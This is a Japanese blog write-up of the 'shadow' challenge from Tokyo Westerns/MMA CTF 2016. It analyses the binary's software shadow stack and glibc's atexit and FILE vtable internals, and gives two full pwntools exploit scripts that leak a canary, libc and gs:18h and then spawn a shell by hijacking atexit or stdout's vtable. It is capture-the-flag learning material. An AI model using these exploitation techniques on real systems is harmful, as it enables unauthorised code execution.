ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

Tokyo Westerns/MMA CTF 2nd 2016 shadow

今回の問題は32bit-ELFで簡単な問題と思いきや全然そんなことはなかった。解法は全部で三つあるため全部紹介したいと思う。ではさっそくみてみよう!

kit@ubuntu:~/work/shadow$ checksec --file shadow 
[*] '/home/kit/work/shadow/shadow'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

kit@ubuntu:~/work/shadow$ ./shadow 
Hello!
You can send message three times.
Input name : shadow
Message length : -1
Input message : aaaa
(1/3) <shadow> aaaa

どうやら、全部で三回ほど入力ができるらしい、試しに長さを負の数を入れて動かしてみたら、正常に動いているらしかった。もしかしたら、チェックが甘いのかなと思って入力関数が存在しているところを中心に見てみることにした。すると以下のようなことが分かった。
* stackに保存しているループカウンターと比べて小さい場合ループを続ける。 * Message lengthの負数チェックがされていない。 * Input messageのBufferの後ろにはcanaryとreturn addressがある。 * input name pointerの書き換え、カウンタの書き換え、input nameのサイズの書き換えができる。
とりあえず、input messageのstackを見てみよう。
f:id:shimasyaro:20170507094339p:plain
Message lengthでは、負数を受け付けていたのでここから、BOFさせて、色々することができる。例えば様々なアドレスのleakを行うことができる。中でも、input name pointerを書き換えて任意のアドレスにするとそこに書き込むことができ、そこのアドレスの中身をleakすることもできる。(nameはInput messageを行うたびに表示されることを利用して)
この状況から、1回目でcanary leak, 2回目でlibc base leak 3回目でreturn書き換えてROPさせれば終了じゃん!と思って実行させたら、上手くいかなかった。どうやら今回はこのやり方では上手くいかないらしい。仕方ないので詳しく見ていくと何やら奇妙な動きをしている関数があった。どんな関数を呼ぶときもcall, returnする前はret, stackにpush, popを行うときもpush, popと言われるような関数を使っているようだった。つまり、message関数のreturn addressを書き換えたとしてもret関数によって元に戻される仕組みになっていた。
とりあえず、ret関数から見ていくとpop関数が呼ばれているだけであったため、pop関数をみると、shadow_init関数から呼ばれているような.bss sectionに存在しているグローバル変数(gs20h_addr)を見つけた。ここにどうやら、gs:20hに入っている値を保存しているようだった。そして次の命令でこれもshadow_init関数から呼ばれているようなグローバル変数stack_bufを見つけた。以下の命令でもあらゆる場所で見かけるため、どうやらこの二つは今回重要らしい。
この二つは何なのか調べるためにshadow_initを見てみることにした。

push    ebp
mov     ebp, esp
sub     esp, 28h
mov     dword ptr [esp+14h], 0 ; offset
mov     dword ptr [esp+10h], 0FFFFFFFFh ; fd
mov     dword ptr [esp+0Ch], 22h        ; flags
mov     dword ptr [esp+8], 0            ; prot
mov     dword ptr [esp+4], 1000h        ; len
mov     dword ptr [esp], 0              ; addr
call    _mmap
mov     ds:stack_buf, eax
mov     eax, ds:stack_buf
add     eax, 1000h
mov     ds:gs20h_addr, eax
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
leave
retn

どうやら、mmapを行って、アドレスを確保した奴をStack_bufに入れ、そこから1000h加算されたアドレスを一旦、グローバル変数(gs20h_addr)に入れて、全く同じものをgs:20hに入れているようだった。詳しくret関数を見ていこう。

mov     eax, [esp+arg1]
mov     rval, eax       ; 第一引数
call    pop
mov     [ebp+0], eax    ; saved ebp
mov     eax, offset restore_eip
mov     [ebp+4], eax
retn

引数から察するに、offset restore_eipのせいでreturn addressが書き換わっていたことが分かった。しかし、ここを書き換えることはアドレスの位置的に不可能である。仕方がないため、pop関数を詳しく見ていこう。以下は重要な部分を抜粋している。

mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 1     ; prot read only
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
mov     eax, [eax]               ; eax = *gs20h_addr
mov     [ebp+gs20h_value], eax   ;gs20h value
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 0     ; prot アクセス不可
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
add     eax, 4
mov     ds:gs20h_addr, eax
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
mov     eax, [ebp+gs20h_value]
mov     [esp], eax
call    enc_dec
leave
retn

stack_bufから1000hまでをread onlyにしてからgs20h_addrを読み取り、stackにgs20hの値を入れる。そして、再びアクセス不可にする。その後、その値を使ってenc_dec関数を実行している。enc_dec関数を見てみよう。

push    ebp
mov     ebp, esp
mov     eax, [ebp+arg1]
xor     eax, large gs:18h
pop     ebp
retn

stackに積んである第一引数とgs:18hの値とxorを取って終了している。eaxは最終的にreturn addressの直前にstackされる。return addressはoffsetとして用意されている。
これではまだ、よくわからないため、他にまだ見ていないcall関数があるため、そっちを見てみよう。

push    ebp
mov     ebp, esp
sub     esp, 4
mov     eax, [ebp+4]         ; return address
mov     [esp], eax
call    push
mov     eax, [ebp+var_0]
mov     [esp], eax
call    push
mov     eax, [ebp+arg_0]     ; 第一引数
mov     edx, offset ret_stub 
mov     [ebp+arg_0], edx     
leave
add     esp, 4
jmp     eax                  ; 第一引数に飛ぶ

第一引数が格納されているstackにoffset ret_stubというものが格納されるらしい。これだけではよく分からないため、順を追ってデバッグしていこう。まずは、push関数からである。以下は重要なところだけを抜粋した。

mov     eax, ds:gs20h_addr
sub     eax, 4
mov     ds:gs20h_addr, eax
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 2     ; prot write only
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     ebx, ds:gs20h_addr
mov     eax, [ebp+arg_0]         ; 第一引数
mov     [esp], eax
call    enc_dec
mov     [ebx], eax               ; gs20h_addr = arg1 xor gs18h
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 0     ; prot アクセス不可
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
add     esp, 14h
pop     ebx
pop     ebp
retn

write onlyにしたあと、enc_dec関数を実行した結果をグローバル変数に格納してるポインタに格納している。
さて、以上を踏まえて、攻撃方法を考えた結果、gs:20hを書き換えるのが良いと判断した。しかし、肝心の書き換え方法がよくわからなかったため、Write upを確認するとどうやら三つの方法があることが分かった。その三つを以下に示す。
1. gs:18hをleakして、system関数を引数と一緒にatexit関数に登録する。
2. gs:20hとgs:18hを書き換える
3. IO_stdoutを使う。

以下は参考になった資料である。とても参考になりました。誠にありがとうございます。

shift-crops.hatenablog.com

1.atexit関数を用いた攻撃

今回は、1を紹介する。まず、gs:18hのleak方法だが、これはret関数が使われたときにstackに格納されているenc_decされた値から、enc_decされる前の値とxorを取って特定する。次に、atexit関数に登録する方法だが、これはatexit関数がどんなライブラリ関数なのかを説明してから話す。
atexit関数は、exit関数が呼ばれたときに、atexit関数で登録された関数がLIFOの順番で呼ばれる。最大で32個まで登録ができる。「登録する関数は引数なし」となっているが、正確には違う。glibcソースコードを見てみよう。

// stdlib\atexit.c

atexit (void (*func) (void))
{
  return __cxa_atexit ((void (*) (void *)) func, NULL,
               &__dso_handle == NULL ? NULL : __dso_handle);
}

atexitの中を見ると別の関数であるcxa_atexitが呼ばれている。しかも、引数が増えている。これはどういうことだろう?cxa_atexitのソースを見てみよう。

// stdlib\cxa_atexit.c

/* Register a function to be called by exit or when a shared library
   is unloaded.  This function is only called from code generated by
   the C++ compiler.  */
int
__cxa_atexit (void (*func) (void *), void *arg, void *d)
{
  return __internal_atexit (func, arg, d, &__exit_funcs);
}

私は、ここで登録する関数の引数は取るということが分かった。atexitがよばれて、cxa_atexitの第二引数がNULLになっているのがわかるだろうか?ここでわざと引数を与えないように制御しているようだった。さらに詳しく見ていくために、同じソースコード内にある、internal_atexitを見ていこう。

int
attribute_hidden
__internal_atexit (void (*func) (void *), void *arg, void *d,
           struct exit_function_list **listp)
{
  struct exit_function *new = __new_exitfn (listp);

  if (new == NULL)
    return -1;

#ifdef PTR_MANGLE
  PTR_MANGLE (func);
#endif
  new->func.cxa.fn = (void (*) (void *, int)) func;
  new->func.cxa.arg = arg;
  new->func.cxa.dso_handle = d;
  atomic_write_barrier ();
  new->flavor = ef_cxa;
  return 0;
}

見たことがない二つの構造体、exit_function_list、exit_functionががあるためその二つも見てみよう。

// stdlib\exit.h

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
    void (*at) (void);
    struct
      {
        void (*fn) (int status, void *arg);
        void *arg;
      } on;
    struct
      {
        void (*fn) (void *arg, int status);
        void *arg;
        void *dso_handle;
      } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

この二つの構造体で分かったことは、関数が最大で32個登録できるのはexit_function_list構造体の中にあるexit_function構造体の配列で最大32個と決まっていたということ。今回はunionではcxa構造体が使われるということが分かった。話を戻して、internal_atexitで、exit_function_listがダブルポインタになっている理由は一つ目のポインタで32個分(正確には登録されている分)のlist addressを管理して、次のポインタでそれぞれのlistのexit_function_list構造体の値を保持していることが分かる。
そして、もう一つ
internal_atexitできになることは、PTR_MANGLEという定義である。なにかしら登録する関数に対して処理をしているように見える。これを詳しく見てみよう。

# ifdef __ASSEMBLER__
#  define PTR_MANGLE(reg)  xor __pointer_chk_guard_local(%rip), reg;    \
               rol $2*LP_SIZE+1, reg

GAS表記のアセンブリ言語で書かれている。ここでは何をしているのかというと、__pointer_chk_guard_localというものとxorを取っている。実はこれgs:18hの値である。つまり、登録される関数のポインタはここでxorされるのである。そして、xor取った値をさらにLP_SIZEは4であるから、2*4+1 = 9左にシフトしている。
これらを踏まえてうえで、どのようにしてatexit関数に登録すればよいのか考えてみよう。まずは、exit関数が動く部分である。

   0xf7e387c3 <exit+19>:  push   0x1
   0xf7e387c5 <exit+21>: push   eax
   0xf7e387c6 <exit+22>: push   DWORD PTR [esp+0x1c]
=> 0xf7e387ca <exit+26>: call   0xf7e38690
   0xf7e387cf:  nop
   0xf7e387d0 <on_exit>:  push   ebx
   0xf7e387d1 <on_exit+1>:   call   0xf7f270d5
   0xf7e387d6 <on_exit+6>:   add    ebx,0x18182a
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xf7fba3dc --> 0xf7fbb1e0 --> 0x0 
arg[2]: 0x1 

atexit list
gdb-peda$ x/10wx 0xf7fba3dc
0xf7fba3dc:    0xf7fbb1e0 0xf7fbb400 0xf7fba070 0xf7fba064
0xf7fba3ec:    0xf7fba064 0x00000003 0x0000001f 0x00000003
0xf7fba3fc:    0xf7fba0e0 0xf7fb8a64

list[0]
gdb-peda$ x/10wx 0xf7fbb1e0
0xf7fbb1e0:    0x00000000 0x00000001 0x00000004 0xe71860eb
0xf7fbb1f0:    0x00000000 0x00000000 0x00000000 0x00000000
0xf7fbb200:    0x00000000 0x00000000

atexitが呼ばれる直前の状態である。ここの第2引数からatexit listのポインタが格納されていることが分かる。そこからlist[0]のアドレスを見るとすでに登録されていることが確認できる。今回はこのlist[0]に登録するように仕向ける。登録方法を以下に示す。

  • atexit listアドレスがあるstack addressをinput name pointerにBOFさせておいてleakする。

  • list[0]アドレスがあるatexit list addressをinput name pointerにBOFさせておいてleakする。

  • list[0]アドレスをinput name pointerにBOFさせておいてchange nameでyを選択してinput nameで値を登録する。(このとき、input nameのサイズはBOFさせて変えておく)

  • 登録する値は*next = NULL, idx = 2(systemと/bin/shの二つ分), flavor = 4(long intで固定), func = (system ^ gs:18h) << 9, arg = /bin/sh address, dso_handle = NULL
    さて、これらから実際に攻撃の手順を考えていきましょう!

  • Input messageでBOFさせてcanaryをleakする。

  • Input messageで改行なしでsendしてold ebpなどをleakする。

  • Input messageでlibc baseを適当なGOT addressからinput name pointerにBOFさせておいてleakする。このとき、name size, ループカウンタの制限を適当な数値で増やしておく。

  • gs:18hをold ebpを使ってleakする。(ret関数が使われた形跡がstack内に残っているため、そこからleakする)

  • atexitに登録する。

  • canaryをもとに戻し、ループのカウンタを0にして正常に終了させる。(stackが壊れるとabortしてatexitが呼ばれなくなるため)

これらをまとめたものが以下のexploit codeになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log
elf = ELF('./shadow')
libc = ELF('/lib32/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def read_address(addr):
    conn.recvuntil('Change name? (y/n) : ')
    conn.send('n\n')
    conn.recvuntil('Message length : ')
    conn.send('-1\n')
    conn.recvuntil('Input message : ')
    payload = ''
    payload += 'A' * 52
    payload += p32(addr)                 # name ptr
    payload += p32(0x1000)               # name length input
    payload += p32(0x10)                 # loop counter limit
    conn.send(payload)
    conn.recv(8)
    return int(hex(u32(conn.recv(4))),16)

# 1st canary leak
conn.recvuntil('Input name : ')
conn.send('shadow')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak = 'A' * 33
conn.send(leak)
conn.recvuntil(leak)
canary = int(hex(u32('\x00' + conn.recv(3))),16)
log.info('canary:0x%08x' % canary)

# 2nd leak stack address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak2 = 'A' * 44
conn.send(leak2)
conn.recvuntil(leak2)
saved_ebp       = int(hex(u32(conn.recv(4))), 16)
ret_addr        = int(hex(u32(conn.recv(4))), 16)
input_name_addr = int(hex(u32(conn.recv(4))), 16)

log.info('saved_ebp         :0x%08x' % saved_ebp)
log.info('return address    :0x%08x' % ret_addr)
log.info('input name address:0x%08x' % input_name_addr)

# 3rd leak libcbase, buffer length and change loop conunter
exit_libc = read_address(elf.got['exit'])
libc_base = exit_libc - libc.symbols['exit']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search("/bin/sh"))
atexit    = libc_base + libc.symbols['atexit']
log.info('libc_base address:0x%08x' % libc_base)
log.info('system address:0x%08x' % system)
log.info('/bin/sh address:0x%08x' % binsh)

# 4th leak gs:18h
gs18h = read_address(saved_ebp-0x3c) ^ elf.symbols['main']+0x54
log.info('gs18h :0x%08x' % gs18h)

# 5th leak atexit list pointer
atexit_list = read_address(saved_ebp+0x14)
log.info('atexit_list :0x%08x' % atexit_list)

# 6th leak atexit list[0]
atexit_list_arr = read_address(atexit_list)
log.info('atexit_list_arr :0x%08x' % atexit_list_arr)

# 7th set atexit list[0] address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(atexit_list_arr)          # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 8th overwrite atexit list[0] array
conn.recvuntil('Input name : ')
arr_atexit = p32(0)
arr_atexit += p32(2)
arr_atexit += p32(4)
arr_atexit += p32(rol(system^gs18h, 9, 32))
arr_atexit += p32(binsh)
arr_atexit += p32(0)
conn.send(arr_atexit)
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
conn.send('a')

# 9th set finish
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 32
payload += p32(canary)                # canary
payload += p32(0xdeadbeef) * 4        # padging
payload += p32(input_name_addr)       # name ptr
payload += p32(0x0)                   # name length input
payload += p32(0x0)                   # loop counter limit
conn.send(payload)
conn.interactive()

【総評】glibcを見ることの大切さを学んだ。

2.IO_stdoutを用いた攻撃

libcのstdin/stdoutにはJump table と言われる関数群を持っています。下に記載するURLに詳しく、載っています。
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
f:id:shimasyaro:20170511174626p:plain
とりあえず、デバッグしてどのような様子か確かめてみましょう。
f:id:shimasyaro:20170511180641p:plain
これがstdoutを表示した様子です。赤枠で囲った部分がjump tableアドレスになります。今度はそこを見ていきましょう。
f:id:shimasyaro:20170511180918p:plain
これが、jump tableです。赤枠で囲った部分IO_file_xsputnを今回は書き換えることを目的として攻撃を考えてみたいと思います。
そもそも、
IO_file_xsputnとは、なんでしょうか?これは出力系の関数が使われるときに必ず使用される関数です。そのため、今回はprintfが使われたときに内部関数として_IO_file_xsputnというのが現れます。この攻撃はglibc-2.24以降ではチェック機構が存在しているため、書き換えることができません。
どうやら書き換えることができるそうです。下の引用を参考にお願いします。(適当なことを書いて申し訳ございませんでした。)


詳しくはglibcの/libio/libioP.hのIO_validate_vtableを見てください。参考までに特に重要な部分を抜粋して載せておきます。glibc-2.25です。

glibc/libio/libioP.h
398: #define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
191: #define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
140: #define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
133: # define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

931: static inline const struct _IO_jump_t *
932: IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

119: #define _IO_JUMPS_FILE_plus(THIS) \
120:   _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

343: struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

114: #define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                       + offsetof(TYPE, MEMBER)))
308: struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

さて、実際に攻撃方法を考えてみましょう。今回は以下のような攻撃でいきます。

  • libc のleak

  • stdoutの実体である、IO_2_1_stdoutを割り出し、そこからIO_2_1_stdout+0x94にある、jump tableのアドレスを書き換え可能な領域のアドレス(例えば、.bssなど)に変更する。

  • 書き換え可能な領域のアドレス+0x1cにROPのアドレスを入れる。

書き換え方法などは1.atexit関数を用いた攻撃を参考にしてほしい。肝心のexploit codeだが、ROPは発動しているが、そこからつなげる攻撃が上手くいっていないため、あくまで参考までにしてほしい。

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./shadow')
libc = ELF('/lib32/libc.so.6')
bss = 0x804a020

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def read_address(addr):
    conn.recvuntil('Change name? (y/n) : ')
    conn.send('n\n')
    conn.recvuntil('Message length : ')
    conn.send('-1\n')
    conn.recvuntil('Input message : ')
    payload = ''
    payload += 'A' * 52
    payload += p32(addr)                 # name ptr
    payload += p32(0x1000)               # name length input
    payload += p32(0x10)                 # loop counter limit
    conn.send(payload)
    conn.recv(8)
    return int(hex(u32(conn.recv(4))),16)

# 1st canary leak
conn.recvuntil('Input name : ')
conn.send('shadow')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak = 'A' * 33
conn.send(leak)
conn.recvuntil(leak)
canary = int(hex(u32('\x00' + conn.recv(3))),16)
log.info('canary:0x%08x' % canary)

# 2nd leak stack address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak2 = 'A' * 44
conn.send(leak2)
conn.recvuntil(leak2)
saved_ebp       = int(hex(u32(conn.recv(4))), 16)
ret_addr        = int(hex(u32(conn.recv(4))), 16)
input_name_addr = int(hex(u32(conn.recv(4))), 16)

log.info('saved_ebp         :0x%08x' % saved_ebp)
log.info('return address    :0x%08x' % ret_addr)
log.info('input name address:0x%08x' % input_name_addr)

# 3rd leak libcbase, buffer length and change loop conunter
exit_libc = read_address(elf.got['exit'])
libc_base = exit_libc - libc.symbols['exit']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search("/bin/sh"))
stdout    = libc_base + libc.symbols['_IO_2_1_stdout_']
log.info('libc_base address:0x%08x' % libc_base)
log.info('system address:0x%08x' % system)
log.info('/bin/sh address:0x%08x' % binsh)
log.info('stdout address:0x%08x' % stdout)

# 4th set bss+0x1c address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(bss+0x1c)                 # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 5th overwrite bss+0x1c array
conn.recvuntil('Input name : ')
payload = p32(system)
conn.send(payload)
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
conn.send('a')

# 6th set bss address in jump table
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(stdout+0x94)              # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 7th set finish
conn.recvuntil('Change name? (y/n) : ')
conn.send('y\n')
conn.recvuntil('Input name : ')
payload = p32(bss)
conn.send(payload)
conn.recvall()

以下は攻撃の様子です。
f:id:shimasyaro:20170511184010p:plain
f:id:shimasyaro:20170511184226p:plain

【総評】ROP ROP pain